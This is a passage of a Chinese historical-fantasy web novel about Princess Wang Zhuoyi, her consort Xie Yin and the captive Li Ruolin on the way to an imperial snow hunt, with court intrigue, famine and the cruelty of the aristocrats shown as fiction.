王卓仪 王卓仪 王卓仪 …… 不是李氏那闻名天下的李体,而是王卓仪的“行书,洋洋洒洒,越写越传神。 王卓仪失笑,一把将那张左伯纸拍到了案上。 谢洇没有说话,应声走到了阶下,跪在了李若林身旁。 “臣教管有失,令内奴损殿下名讳,臣自请一道治罪。” 李若林举着荆条侧头看向身旁的与他同跪的谢洇,忽然心生一阵莫名的怨毒,名分害人不浅,他死都没有办法单独在王卓仪面前哭一场,谢洇这个人,始终名正言顺阴魂不散,如今连他向王卓仪请罪,都要和他跪一起。 他想着即从齿缝里挤出一句:“我写的和你有什么关系……” 却换来谢洇严肃的一声:“你闭嘴跪好。” 王卓仪抬起一只手,摁住额心。 也许是人不会在同一个阴沟里翻第二次船,也许是她曾经真的把李若林打得太狠了,总之他不肯再写《西山赋》。 可是这无数个“王卓仪”把原本想好的应对说辞全部打翻,李若林此刻心里害怕是肯定的,王卓仪又何尝不无措。” “为什么要写我的名讳?” “……” 李若林没有回答,王卓仪挑眉,又问:“你怎么敢的?” 李若林举着荆条的手一抖,心却静下来三分。 王卓仪没有发疯,没有不给他说话的机会就把他拖下去打,果然人生还是要敢赌,搏一搏死路就见生门了。 “小人该死,殿下打死我吧……”他说完,把荆条举过了头顶。 “不是求我救你吗?怎么又想死了。” “我只想死给殿下看,我……”李若林发觉自己的话有歧义,情急之下,声音微微有些哽咽。 王卓仪忙道:“不准对着我哭,哭了我就让 你真的去……” 那个“死”字还未出口,王卓仪就已经在李若林的眼角看见了一滴晶莹,顺着他的脸颊,很快就溶进了他额边的垂下的碎发。 很好。 他故意的。 他当她的话是在放屁。 王卓仪不经意间掐住虎口,明白上一世的那些诛他心的话,话已经骗不了今生的李若林了。 为了回避李若林的眼泪,王卓仪转过身去,再度看了一眼那张纸上的无数个“王卓仪”,忽然好奇,李若林的那一手李体怎么变得如此的丑,但又为什么偏偏把她的名字,写得如此像她的手书。 王卓仪的行书是萧后所教,自她承教于谢洇后,写的是谢洇的正楷,很少再写行书,只在山水题跋上偶尔一批,连谢洇见得都不多。 现今谢洇在场,王卓仪没有戳破,只纠着“李体”问道。 “你的李体为什么会写成这样?” 为什么? 因为自从他因《西山赋》挨过王卓仪的那一顿狠打之后,文本就从他的人生中绝迹了,他再也没见过笔墨,再也没写过一个字。而那整整十年,他终日对着的文字,是居室中那一幅王卓仪手绘的《寿灵公主西山集宴图》题款,王卓仪没有别号,因此题款简单,除了年月就只有王卓仪的名字。 因此作为一个被王卓仪养废的人,一个被剔去文骨的庸盲,他不是不想用李体,而是他已经捏不稳这一样家学,他也不是不想写《西山赋》而是他根本就记不起那篇文本。 如今他能写好的只有“王卓仪”这三个字。 李若林想来真是又羞愧又痛苦。他怎么可以在如此痛恨这个人的同时,又把这个人的名字,金钩铁拐地刻进了自己的脑子里。 “李若林,殿下在问你。” 李若林的耳边传来谢洇的话,他手腕一颤,再也抬不稳手臂,荆条陡然落地,他忙弯腰捡起来,与此同时真的很想捏死谢洇的嘴。 怎么回答?怎么回答才不会挨打? 将才王卓仪的反应已经给了他一个思路,不写《西山赋》,王卓仪就没有发疯,那么他的李体写的丑,应该也不是坏事。 “小人……小人自幼不学无术,十年……十年学业荒废。” “十年”二字提醒了王卓仪,也对,一个人十年不见文字不掌笔墨,哪里还写得出当年的《西山赋》。 她忽然觉得自己也有些可笑,李若林身上那些令她害怕的天赋,已然被她亲手养废了大半。 这一世老天留给她一个她自己造的残品,满身漏洞地来要她的命,甚至还对她的“全知”一无所知。 那一刻王卓仪有感于李若林的拼劲儿,又难免对他要走的道路,感到艰难。他们一点都不对等,他在报仇,为此绞尽脑汁。 她看着他,被他的美和执着不断牵引出过去两世的记忆,但最后,都回到了只有她一个人的飞雪关。 她想告诉李若林,别报你的仇了,这辈子她不杀他,十几年后,她带他去飞雪关,她死给他看,他的家国也死给他看。 钱荒、国库空、王朝猝死。 他还在求什么前途报什么仇? 多狠的一番话,一定能让李若林破灭。 但对着谢洇,对着此间风清日好的明月园,王卓仪说不出口。 “那你想学吗?”她随口问了一句。 “小人想学。” “撒谎。” 王卓仪声音虽是冷的,面上却挂着三分怜悯,“你父母和你姐姐都教不了你,到了我这里,你倒是想学了。” 她说完,站起身就走。 背后李若林的声音追来,“殿下,我真的想学!殿下……殿下……” 他向王卓仪膝行了几步,手里还捧着那根筋条。 王卓仪最终也没有对他施以暴虐,这令李若林决定遵循自己之前的想法。 “殿下,求你带我去西山雪猎吧。” 王卓仪站住脚步:“你想做什么?” 问了也白问,他当然是想再走第一世的道路。 不过王卓仪明白,她此刻一定得不到如此直白的回答。 当然得不到也好,真得到了,她也不知道怎么对着他演了。 对李若林来讲,这话王卓仪上辈子也问过。 当时他根本没有机会回答,这回他不敢犹豫,脱口而出道:“小人想见世面……” 李若林不自觉地握紧了手里的荆条,想起了王卓仪之前对她说过的那番话。 “小人想做对殿下有用的人。” 13.西山雪猎(二) 他到底能不能随行王卓仪,去西山雪猎,李若林最终也没有得到王卓仪真正的应允。 王卓仪走了,谢洇也放过了他。 李若林在想,在他枯坐四方天下,把妒忌当内宠的美德的那段日子里,这二人以前应该也像这样,撇下他,于高楼上畅谈破败苟延的大魏政治,以及那洛阳豪宴间光华璀璨的建元文艺。 大多时候他都是一个人。 好在这一回,当他握着那根荆条回到铜镜台时,还有李书常一个人坐在乌桕树下等他。 他像真的把他当成同病相怜的伙伴,甚至至今仍然奉他为李氏年轻一辈的族首,一直依赖他,也试图保护他。今见李若林回来忙站起身迎上来。 “殿下没有责罚你吧。” “没有。” 李若林说着,将荆条扔在了脚边,李书常吓得往边上跳了一步,又道:“这什么啊……” 李若林踢了那根荆条一脚,立在树下冷静得李书常害怕。 “她用来震慑我的。” “那二公子你还敢踢?” 李若林在那一大片枯枝影里坐了下来,双手搭膝,眼看着荆条一点一点滚下了斜坡。 “不打在我身上,它就是一根棍子,我怕它做什么?” 他说完,却不知道为什么忽然站起身,连追几步,去把那根荆条捡了回来。 “二公子……” 李书常蹲在李若林面前,拉住他的衣袖道:“驸马和良娣都说,我们这么多人里面,就属你生得最好看,最能得殿下的心,你能不能对殿下温顺一些,别总是冒犯殿。我听说西山雪猎之后,我们李氏就要被问罪,我父母和我哥哥……二公子,我上回去给殿下和良娣侍宴,殿下一眼都没有看过我……我没有那个福气,二公子啊,我们李氏只能指望你了,你好好求求殿下行吗?” 李若林看着被李书常来回摇晃的手臂,忽道:“别傻了。” 说着想撇开李书常的手,但一时又于心不忍,终是拉他一道坐下。 头顶零星的枯叶在刺骨的晚风中苟延残喘,李若林对着李书常倾心吐胆:“李书常,我不管你信不信,温顺不是男子的德行,她不会喜欢。你我跪在她床边求她一夜,她也不会把你我拉上她的床榻。你我能得到的就只是一双不值钱的膝盖而已。” 李书常道:“可是良娣和驸马都说,殿下她就喜欢温顺的男子。” “我跟你说了他们都在放屁,你信我的好不好!”李若林语速极快,甚至有些急切。 “可是……” 李书常不知所措,他不是很明白,李若林为什么这么肯定。 但从李若林莫名“自信”的眼神里,他又看到了希望。 李若林认真地看向李书常,压下声音恳切地说道:“我真的对她温顺过,我卑微地侍奉她她不要我,我忍着痛苦和眼泪陪伴她她骂我。可我杀她她反而救我,我写她的名字冒犯她……” 他说着突然发现自己不知道什么时候把那根荆条又捡回来了,慌地又脱手扔掉。 与此同时不自觉地加快了语速,“她把荆条都请出来却也没有真正打到我身上来。李书常你信我,对于她这样一人之下万人之下的女子而言,她就是喜欢玩弄砧板上的鱼,你我得拼命得挣扎,拼命往她身上蹦,她才有可能往我们身上撒那么一点水,让我们多活几日。” 李书常听得似懂非懂,李若林却从自己的这一番话中整理出了往下的走的思路。 一次刺杀王卓仪,是痛极而为,非出自本意。 一次手书王卓仪的名讳,是倾囊而赌。 他试出来了。 比起上一世,把王卓仪的话奉为圭臬,屈辱卑微地对待她,不如把脖子主动送她手中,让她掐着,而后仰起头,踮起脚,窒着那么一口气,一步一步地跟着她朝前走。 她舍不得掐死他。 对,这一世,她心里好像真的藏着某种“不忍。” 但她应该会很喜欢,看他窒息而不死的样子。 这么说来,王卓仪仍就是个变态。 “我的话你听明白了吗?” 李书常似懂非懂地点了点头。 满园黄昏从枯枝间游走,天色渐渐暗了下来。 李若林拉起李书常,“走,回去吃东西。” 李书常道:“你不饿你的腰了吗?” 李若林猛然站住,“对,不能吃太多荤腥。” 李书常忽然有些想笑,“二公子,你的话我虽然听不太懂,但你对自己,真的还挺狠的。” 李若林低头一狠心,死死地勒紧了腰上的绦带,心想不狠怎么能真正把路走宽,见到大的世面。 ** 所谓“见大世面”,那对整个建元朝而言,还真没有比西山雪猎更大的世面。 如果说,王卓仪的春夜宴临水照月,曲舞之格纤细嶙峋,是建元风流情致之极,那么每年元宵前后的西山雪猎,就是洛阳皇族与五姓氏族穷奢极欲的一场豪宴。 百人之会,三日连席,食必至四方珍异,诸如王卓仪、王宪等天家子女,单算饮食供给,一人一日,则尽耗三万余钱 余者如富族宋氏,每年皆是合族尽出,随扈侍君。 ?每人携婢从十余者,车马衣食算来,一人一日,也是万钱不足。 然而猪牛马羊,野兔山狍无尽供给,连日宰杀,牲血流淌,染得初破冰封的山涧如纤长血流,满座贵人仍嫌饮食无聊,无处下筷。 建元四十四年,又是一个灾年。 但这一年,建元帝迎来了自己的甲子年,那就不管韩州大旱如何,也不管韩城疫病吞了多少人命,建元四十四年都是一个为天家歌功颂德的大年。 这一年的雪猎,建元帝驻跸王卓仪的明月园,随扈者人数超往年之极,黄门寺为此遣使先入明月园调度物用,然而头一日,建元帝却临时决定要在西山猎场外的浅云滩上摆宴夜饮。 黄门寺措手不及,已在西山长秋寺安顿下来的王宪等人也因此一时忙乱,王卓仪倒是知道有这一茬,于是正月十八这一日的辰时,就已经打点齐备,甚至还在装了三车银炭,解了黄门寺远水难救近火的急。 银炭装车到底还是耽搁了一阵,王卓仪便和谢洇在明月楼上简谈了几句西陇军费的事。 王卓仪今日绑了袖,发髻也梳理得干净,想厚车重马,行于山道难免要停滞耽搁,因此克制了饮食,含朱端来的汤水,她也只小饮了一两口。 “我不管你度支曹的岁计如何,我要保我表兄的军中支用。” 王卓仪说完放下汤水望着远山的雾岚,“我的话已经很明白,你再和我纠缠……“ 谢洇径直跪下道:“责罚臣臣无所谓,可殿下之前与臣有默契,若萧惟春能主持西陇番库的点算和解运,殿下只会令他隐扣三层以充军资,为何今日提作五层?” 王卓仪道:“因为不够。” 谢洇有些情急:“这几年抵御漠北,天下的银、铜、铁都快要打光了,如今连国库都钱荒……” “所以还是不够啊。” 王卓仪看向谢洇,“飞雪关一旦破了,中原就是利剑穿心,到时候我们都成了漠北胡王的奴隶,钱荒?谁在乎呢?” 谢洇道:“那韩城一带就不顾了吗?让它这样旱下去?” 王卓仪很想告诉谢洇,她顾过,她和李若林一起,掏心掏肺地顾过一次。 那时李若林在王宪和顾微言的举荐下,出任韩州诸曹从事,建元四十四年的夏天,李若林向朝廷上呈生死书——韩城乱,则臣命填,他日尸悬城墙,不成白骨不埋土。 那年处暑,王卓仪去韩城看李若林,亲眼看见李若林乱发残衣,行于旱土之间,在破败的粥棚里,和无数饥民一起,咽下浑浊的泥粥。 那一日骨瘦如材的妇人把怀里的孩子递给她,说用孩子换一碗粥,她很害怕,但眼见那孩子要跌落,还是伸手抱了过来。 那孩子是死的。 活不下去的人早就流干了眼泪。 所以讽刺又合理的是,面对那孩子已然开始腐烂的尸体,在场只有寿灵公主王卓仪哭了。 那日夜里,王卓仪怎么也睡不着。 从来温顺恭敬的李若林也不像从前那样伏在她膝边,而是远远地跪坐在她的门外。 他说他身上全是韩城的泥血,会沾染王卓仪的玉体,他不配躺在王卓仪身边。 他说:“殿下,小人好恨自身非牲祭,死可问雨神,尸可救万人。” 至此王卓仪再也看不下去了,也听不下去了,于是亲自动手,狠狠 捅了萧氏的私库一刀。 那一年韩州旱灾因她的慷慨自剜而得到极大的缓解。 也就是在那一年,萧惟春为了弹压不满王卓仪所为的萧氏族人,以筹措军粮的名义,请旨征剐了西陇整整三个郡,勉强补齐了王卓仪挪往韩州的钱粮。 这就是当时那个高举良善,却在洛阳政坛自掘坟墓的王卓仪。 此刻她一回想起来,还是恨她自己。 “谢洇。” 王卓仪看向楼下,平声道:“王宪之所以奈何不了我,是因为我表兄以万军守飞雪关,表兄是我的倚仗,也是你谢氏的倚仗。” 谢洇摇头道:“可你萧族谷满仓廪……” “那又如何?” 王卓仪反问,“谷满仓廪那也是供养萧族子孙的,他们也不可能掏出一分来充做西陇军费,谢洇,我让你和父亲捅你们谢族的私库一刀,用来解韩城之困,你们捅吗?” 谢洇哽塞。 王卓仪道:“就算你愿意,你的父母兄妹也会视你为家族之蠹,当然,如果他们真的愿意捅自己那一刀,今夜宴上,我就替你们向父皇请旨,请功。我亲自带着你去开谢楼的府库,咱们夫妻一道,搬它个一半,你去救韩城,我来托飞雪关。” 谢洇一时沉默。 他从来没有在王卓仪口中听过这样的话。 辛辣、绝望、又隐着一丝慈悲。 王卓仪不想再理他,已然站起了身,行至楼梯口时,谢洇这才追来一句:“殿下的话,令臣灰心。” 王卓仪回头看向谢洇,“你信不信,因为你和你父亲做得那一道来年‘岁计’,父皇根本就不想让我表兄来点算李氏番库,他宁可让王宪去西陇,把那百万钱算出个几文钱交给国库,发那么一文两文去供养万军,剩下的他父子二人都用来养美人,烧银炭。你灰心?” 她冷笑了一声,再度望向晨光中波光粼粼的芙蕖海,“我早就死心了。” 谢洇静静地立在楼边,一动不动。 王卓仪扶着栏杆,忍不住又道:“其实不怕跟你说一句实话,大魏千疮百孔,你谢洇看得清我也看得清,你是对的,我们这样的人不剜肉,永远补不上世间的千万疮口,可我们一剜肉,那不肯剜肉的人,就会趁我们重伤流血,一举要了我们的命。” “殿下一定要把话说得这么绝,难道建元就没有别的出路?”谢洇问王卓仪。 王卓仪道:“有啊。让王宪早些死。” “殿下!” “你怕什么?这是在我的明月园。” 王卓仪仰起下巴,“让王宪早些死,最好即刻就死,让我不怕剜肉自损时,被人背刺,让我在韩州还没荒尽,飞雪关还没有失守的时候,真正捏住建元朝的命脉,到那个时候,我就有脸就去见我的百姓,当着他们的面,亲自提刀,把我自己剐了。” “殿下不要这样说,当知避谶,臣会帮殿下……” “别傻了。” 王卓仪看向谢洇,“谢洇,我不知道还有谁能帮我做到这一点。我试过了,反正我自己不行,加上你谢洇也不行。” 她说完,径直下了明月楼,等着明月楼下的含朱等人忙随上王卓仪。 王卓仪走得很快,耳边一直回想着她将才对谢洇说的那句话。 “我不知道还有谁能帮我做到这一点,反正我自己不行,加上你也不行。” 不觉间行到了园门口,吴盈又是一脸无奈地站在王卓仪的安车前,见王卓仪过来,识趣地退到了一旁。 而随着他的身子让开,王卓仪看见了惶恐的李书常等雪猎随侍,还有一身亵衣,赤脚而立的李若林。 “吴盈。” “是,殿下。” “有的时候我觉得你们管束内仆真的挺没个刚性的。” “殿下的意思是……” 王卓仪看闲李若林,“穿成这样来见我的人,以前当如何?” 吴盈想说,这位主是不是忘了,她以前最喜欢的就是这副做派的瘦男。 “这……” 王卓仪咳了一声,她很不想承认,当吴盈退让,门框如广幅画纸,框住了西山山水也框住了人物。 李若林入眼的那一刻,王卓仪脑中恰在回想:“我不知道还有谁能帮我做到这一点……” 14.西山雪猎(三) 那是所谓的神明指引吗? 不可能。 王卓仪只觉得有些想笑。 再重来几次都不可能有什么改变,她最后一定会独自一个人,爬上喊杀震天的飞雪关的城楼,面对王朝猝死的国运,坠向那个属于大魏公主的噩梦。 没人能救得了她,李若林就更不可能了。 她这样想着,看了一眼李若林踩在雪地上的那双赤脚,那皮肤微红,脚背青色经脉因为年轻而并不十分凸显,像年轻的乌桕青枝。可是今日她的心比前几日都硬,观赏不了李若林的惨艳,甚至一句话也不想对李若林说。 “谢洇。” 她回头看向跟来的谢洇,催促道:“上车走了。” 谢洇在门后暂且站住,见吴盈在车边为他备好了马,仆从手中也捧着他的甲胄,于是回道:“臣今日披甲戍卫殿下。” “不用了。” 王卓仪扶着车壁,说完已经自行悬起车帘,“你跟我坐车。” 竹帘拂过王卓仪的鬓边的凤凰簪,至此她再也没有看过李若林。 可李若林又怎么会甘心,他倒是不觉得自己目前的身份和处境配得上王卓仪抬举谢洇去刺激他,他只是认定西山雪猎几乎是他挣脱樊笼惟一的机会,如果丢失,他就会重蹈覆辙万劫不复。 可面对王卓仪的背影,他心里更深的一层恐惧却还是来自王卓仪过去那十年的默杀。 他如此恨王卓仪,但他又如此害怕这个女人的冷漠,如此想要她的目光和关照。 竹帘将落,几乎是意识牵引,李若林什么都没有想,忍着脚底的冻痛,踏雪踉跄地追至车边,伸手一把托住了即将落下的车帘。 帘后只见半张阴沉的脸,李若林一手撑车帘,一手扶在车辕上,跪下求道:“殿下,小人最后再求您一次。” 吴盈见李若林如此,倒是想替他说几分话,但他知道这话往王卓仪身上递是不行的,于是给谢洇递了一个话头。 “回殿下,小人为殿下套车的时候,他就这么……这么追过来了。小人劝过他,在殿下面前要得体,他不肯听,一直守在门前。小人原本是要请驸马的意思,但见殿下和驸马在明月楼上说话。不敢打扰。” “带他下去把衣裳换了。”谢洇果然和吴盈有这一层默契。 一旁的李书常听了,忙上前去拉李若林。 谁想王卓仪却道:“既如此,李书常随侍,谢洇你上后面的车。” 李书常一下子愣住了,与其说是受宠若惊,倒不如说是害怕,不知所措地看向李若林,“小人不敢……” “没什么不敢的。” 王卓仪招手,“上来。” 李若林知道王卓仪一定是故意的,也知道自己根本没有资格怨怼王卓仪施宠于李书常,可是不知道为什么,一阵羞辱和嫉妒竟油然而生,令他难忍。 王卓仪对吴盈道:“让队伍起行。” “是。” 李书常要奉命登车,李若林跪在车边就显得有些碍事,吴盈示意仆从上前,去把李若林扶起带走。 李若林被人架起,他忙死死地抓住了竹帘的一角,立即有人上来,毫不客气地掰抠他的手指。 就在李若林撑不住要脱手的那一刻,他忽然忍不住喊了一声:“王卓仪。” 众人皆是汗毛陡立。 不多时,竹帘被王卓仪掀开一道口子,“你叫我什么?” 仆从应声松开了李若林的胳膊,他耸动着瘦削的肩膀跪在车旁,屈辱、不甘、绝望……无数情绪一时齐汇,张开口,却发不出任何一点声音。 喉咙处像是有一只无形的手,死死掐住了他的命门,令他被迫抬起头来,目光随之越过王卓仪,望向渐渐升空的朝阳。 他想见天日。 他说不出口。 但王卓仪听到了。 她是可以随意摆弄的李若林的,比如叫人把他锁进铜镜台,又或者以冒犯之罪把他拖下去打。 但她没有。 帘后传来一阵极轻极轻的叹息,随后她丢开了车帘,就着那只挽帘的手,将惶恐不安的李书常带上了安车,没有留下任何一句话来处置李若林。 对于李若林而言,真就像那只掐住他咽喉的手,松掉了三层力。 她对他是于心不忍吧。 可是为什么是“不忍”呢? 李若林绞尽脑汁也想不明白,就像他至死也没想通,他写《西山赋》的那个夜晚,蹲在阶上的王卓仪,究竟在害怕什么。 他自以为他试出了一条靠近她的路径,不断地作死,不断地头铁去碰撞她,试图摸到她底线,最后找到拿捏住她的方法,这似乎是他与身俱来的本能,又好像是上辈子的他自己承袭给他的经验。 可是,如果试出的底线是“色欲”、“淫望”都好,他至少不会愧疚。 为什么偏偏是“不忍”呢? 眼前的车轮动了,李若林来不及再细想,慌忙站起身,跌跌撞撞地追了上去。 王卓仪没发话,也就没有人敢拦他,任凭他抓着车尾上那一座凤首雕饰,“疯疯癫癫”地追在王卓仪的车后面。 从明月园到浅云滩,约行一个时辰,王卓仪虽行得早,但她所乘的安车由四马并拖,她又因腰伤才愈,不肯快行,不多时,从下面长秋寺起行的五姓氏家,就渐渐追了上来。 天光大亮,道上人马一时多了起来。 春来雪破时,是西山一年当中的次好时节,仅逊于杏林盛期,雪猎虽在杉木林场提前打上了青幕帏帐,山中但却并不设民禁,洛阳城中的富户也趁晴日,携妻儿家仆,沿当年建长秋寺所辟的山道,一路游山,遇水则赏,遇亭则饮。 宋怡骑马穿过热闹的山道行人,遥遥地看见了王卓仪的车队,他以为谢洇今日当为王卓仪披甲,路上无聊,倒可闲扯几句,然而行近时才发现谢洇并没有骑马,反倒是在车队的末尾,看见了单衣赤足的李若林。 他已经和王卓仪的车队有了几十丈的间隔,浑身被冷汗浸透,走得是三步一踉跄,五步一扑跪。 宋怡见此忙打马追了上去,在他身旁稳住马问道:“李家二郎,你这是怎么了?” 说完看了一眼王卓仪的马车,又问道:“你又做错什么了吗?怎么谢洇也不帮你求个情。” 这句话刚一说完,李若林就在眼前跌跪了下来,他人已经快到极限了。 宋怡忙勒住马头,盘桓回头,低头看向李若林的脚,他的脚底早就被山道上的碎石划破了,路上的积雪大半融成了水,沾染着泥泞和他脚底的血,裹了他大半截裤腿。 “没人管你的吗?” 李若林摇了摇头,他想回答宋怡的话,奈何他磕伤了膝盖,正一时痛极,哪里说得一句话。 宋怡实在是看不下去了,不禁伸手道:“管不了那么多了,你先上来。” 李若林仍是摇头。 宋怡见王卓仪的安车已经走得很远了,又再劝道:“你不要怕,先上来,等到了跟前我去跟殿下求情,不会让你遭罪的。” 李若林终于 从缓过大半口气,抬起应道:“你求情她就会让你把小人送回去。” 宋怡道:“送回去就送回去啊,你要这样走到浅云滩,你这双脚就别想要了,况且你知道浅云滩还有多远吗?你走不过去的。” 李若林忽然看向宋怡的马缰,问道:“宋公子这会儿也要上浅云滩吗?” 宋怡点头:“对。” 李若林又看了一眼身后,太子殿下和宋良娣今日也会上山吧。” 宋怡虽不太明白李若林这个时候问起宋浓和王宪是何意味,但还是回答了他:“太子殿下要随帝驾戍卫,良娣携东府内眷从洛阳城内来,上到浅云滩……应该要近申时了。” “行……” 李若林跪坐在雪地里,在单薄的衣衫间搜寻了一阵,最后摸到了他寝时束发的一根青带,忙反手解下,绑住了自己的一只手腕。 “你做什么?”宋怡疑惑地问道。 李若林没有回答,挣扎着站起身,抓住宋怡的马缰,将青带的另一头紧紧地绑了上去。 “不是你……” 宋怡明白过来他要做什么,忙要阻止,谁想他却毫不留情地给他自己系了一个死结。 “宋公子,你就是拖也要把小人拖上浅云滩。” 宋怡看着马下脸色苍白的李若林,不禁叹道:“李若林你何必呢?” 李若林吞咽了一口,“有水吗宋公子。” 宋怡把自己的水袋递给李若林,李若林仰起头,一口接一口,几乎将水袋灌空。 宋怡的马此刻站得有些不耐烦了,忽地朝前迈了一步,青带牵扯,李若林顿时被扯绊在地。 宋怡忙伸手去拉他,一面不忍道:“寿灵公主对你到底是怎么回事啊?” 怎么回事,她又变态了,对着别人施宠,对着他施虐呗。 李若林光顾着灌水,顾不上回答宋怡,正在此时,二人身后忽然传来一个清亮的声音。 “宋怡!” 宋怡回过头,见归仁县主挑开车帘,正向他摇手,“你怎么这么快?我看宋老夫人他们还在翼然亭上休整,你都到这里来了。” 宋怡见她安车后面械缧了几十个奴隶,不禁问道:“这些人是?” 归仁回头看了一眼车后的人,明眸笑道:“这些人都是漠北的细作。” 宋怡道:“你在胡说什么,这里面有女人。” 归仁道:“我没有胡说,女人怎么了?女人就不能做细作了。” 宋怡此时其实已经几乎猜到了这些人被带上山的作用,对归仁抬高了声音,“你不要胡来,长秋寺就在下面,佛头上造杀孽,你不要福报了?” 归仁立即拉下了脸,“你别拿神佛压我,你是被你妹妹又灌了什么酸汤吧,一天天也跟她一个做派,口蜜腹剑,面上看着像观音,肚子里面养蛇蝎!她还把李若林那些人往寿灵府里送呢。” “那她也没伤人性命。” “我就伤人性命了吗?” 她说完,指着那群奴隶道:“这后头的拴着的人都是太子殿下捕来,送给陛下和我母亲射杀取乐的。” “归仁!” “宋明心,你不要凶我!” 归仁县主的声音盖过了宋怡,“我知道你想说,这些人里,有人有冤。可他们本来就是贱口,你看看,跟那李若林一样,饿得一层皮包骨的,也就寿灵看得上,我看着就觉得烦。既然活也是活不好,死了一了百了,死前还给陛下和我们取乐,这么大功德,来世不得修成个大和尚。哈哈……” 15.西山雪猎(四) 归仁一边笑一边朝宋怡的马后看去,渐渐收住了笑声,挑眉道:“你还说我,你自己马后不也拴了一个人吗?他不是寿灵的新宠吗?怎么好衣裳不给,鞋也不赐他一双吗?” 宋怡已经忍不了归仁的挑衅,拽着李若林往道旁让了一步。 “县主请先行。” 归仁趴在安车上,似笑非笑地望着宋怡:“宋家长公子,我知道你不喜欢我,但我一定要嫁给你。“ 宋怡道:“天下好儿郎多如……” “我知道,天下好儿郎无数嘛,可他们都不姓宋啊。” 归仁说着,手中的鞭子径直指向李若林,“我以前也想过,我要嫁李若林的。” 李若林撇过了头,戴罪之身囹圄未出,这话让他着实有些不自在。 归仁继续说道:“不过现在不用想了,他都成奴隶了,不能嫁就只能玩了,那就不值什么了,寿灵喜欢就留给寿灵她玩好了。” 她边说边将鞭绳移向宋怡:“我陈洛华一定要嫁给你们宋家正经儿郎。不管宋浓给你灌多少迷魂汤,揭我多少短处,你最后都得娶我,我劝你多看看我的好处。” 宋怡垂头不再言语,一心只盼她赶紧走。 归仁撑着下巴笑开道:“你等着吧,今夜杉林场,我给你猎银狐。” 宋怡忍不住怼道:“寿灵公主在,县主就算下场能猎到什么?” “是,她弓马一直都比我好,可你忘了吗?她在明月楼上为了救宋浓把腰伤了,你觉得今夜她还能骑马?” 归仁说完,狡黠一笑,缩头坐回了车中,临走还扔来一句:“你等着我的银狐狸啊。” 宋怡看着归仁的马车碾过泥地,压起喉咙愤懑地说了一句:“寿灵身上好的她不学,偏学这一套。” “哪一套?”李若林忽然发问。 宋怡闷声道:“猎狐赠美人。” “殿下赠过很多美人吗?” “嗯。” 宋怡不自觉地点头,老实回答:“每年都不少……” 说着猛地反应过来,这话不该跟李若林说,忙道:“诶,不是我跟你说这个做什么,你可别笑啊。” 尽管宋怡生出了自己和李若林同病相怜的想法,李若林却完全没有想过他还有嘲笑宋怡的资格,毕竟他现在披头散发赤足踩雪地追寿灵,处境不知道比宋怡惨了多少。 趁宋怡还在懊恼,李若林朝归仁车后的那些奴隶看去,却忽听得有人唤他。 “二公子!” 李若林忙寻声望去,只见人群里一个女人含泪望着他。 “二公子,照顾好书常……” 话未说完,身旁的一个年轻人忙拽住她的胳膊,“母亲,您这话会害到二公子的,快走,快走啊……” 李若林一时忘了手腕还绑在宋怡的马缰上,连追几步,直到被扯拽得险些绊倒才停下。 宋怡忙拉住马头,问李若林道:“那两个人是谁?” 封闭十年,李若林的记忆已经很模糊了,加上他少年时常年生活在西陇,显少入洛阳,并未与李氏旁枝深交,族会偶然一见,也不过问候一二。他凝神仔细回想了一阵,方记起那是李书常的母亲和兄长。 “李氏旁枝。” 宋怡疑道:“李氏旁枝,那不该在北狱里吗?” 李若林抬头道:“这话宋公子你问我?真不知道宋公子在廷尉衙是干什么吃的。” 听李若林骂他,宋怡倒有些诧异,幸好他性情很好,不怒反笑:“你还真的挺奇怪的啊,我以为这几年你们李家把你养废了呢,养得你只会一哭二闹三上吊。” 李若林又将发带往手上绕了两圈,低头道:“那是我没有办法。我这个罪人的身份,内宠的处境,我也不知道……怎么才能让公主殿下把我留下来。” 宋怡道:“你不是说她已经要了你吗?” 李若林白了宋怡一眼:闷道:“我放屁的你别说了。” 说完一瘸一拐地走到前面,替宋怡牵马了,留下宋怡坐在马上目瞪口呆。 “啊?” ** 午时,李若林终于在宋怡的帮助下,爬上了浅云坡。 宋怡原本能比王卓仪还先到,结果却被李若林拖累,甚至落在宋浓和东府女眷的后面。 进滩时,水边已经沿着河道围起了百米长的防风龙纹青帐,三丈设一火盆,里面的银炭烧得正旺。而那空置的御座前,用四方铜鼎焚烧着大捆大捆的凤凰木,一来照明,二来取暖。铜鼎下面仍设炭盆,紧密相连,绕御座排开一整圈。 王卓仪坐在御坐的下手,不过半个时辰,身上就被烤出了一层薄汗。 建元帝极其惧冷,别的火炭烟气太重他受不了,因此只烧银炭。 这种炭是需将凤凰木陈化整整八个月后煅制,洛阳城一整年也出不了多少,除了供给皇族,也就富族宋氏,能烧得起了。 眼下这一批银炭是王卓仪从明月园带上来的,她知道,这一夜要到底,约摸要烧掉上十万钱。黄门寺仍怕不够,掌寺寺人甚至还亲自来跟她商议,想从明月园再调度上来一批。 谢洇心估后,觉得没有必要,王卓仪却说所谓。 不知道为什么,她看着如粪土一样被挥霍掉的贵物,眼前闪过的却是飞雪关的熊熊战火。 烧吧。 随便烧吧。 反正她不烧王宪就会烧,王宪不烧,建元帝也会替他们烧。 她把这些银炭烧在浅云滩,世人只会艳羡她的富贵,她要把金银散给贫苦,世家就会骂她“蠢货”。 第一世她就是被李若林哄着,一点一点蠢死的。 王卓仪闭上眼睛。 这一刻她很难受,甚至想求老天就让她死在此时。 是时,有人唤了她一声。“殿下。” 王卓仪睁开眼睛,眼前的人竟然又是李若林。 王卓仪其实没有想到他真的能这样赤脚走上浅云滩,她知晓和谢洇上滩后,谢洇其实就立即遣了人沿路下去找李若林,但没想到,李若林不是跟着谢洇的人上来的,而是被宋怡带上来的。 不过,为了博取她的怜悯,也为了彰显他的诚意,他显然没有骑马乘车,一双脚冻得通红不说,还被道上尖石划得血肉模糊。裤管也被荆枝勾破了,身上沾染的不知是泥还是他自己的血,混沌地糊了他大半截的身子。 他是很美,很脆弱,让王卓仪很想保护。 但眼下她心情很不好,只看了李若林一眼,就移开了目光。 李若林在王卓仪的坐榻边跪下,轻道:“殿下恕罪,小人只是想服侍在殿下身旁,小人……” “闭嘴。” 王卓仪托着下巴,斥了李若林一句。 周遭包括归仁县主在内的宗妇都看了过来,众人窃窃私语,有人耻笑李若林的卑贱,有人羡慕王卓仪拥美而骄,也有人觉得这二人行径荒谬。 可惜这是建元朝,风流为第一品,品性反落下层。 王卓仪也好,李若林也好,都是一等美人。 美人嘛,再怎么发疯,那也是美人。 因此王卓仪似乎也并不觉得有什么尴尬的,任凭李若林跪在自己脚边。 宋怡见李若林身上实在太狼狈了,忍不住上前对王卓仪道:“我去取一件氅衣给他吧。” 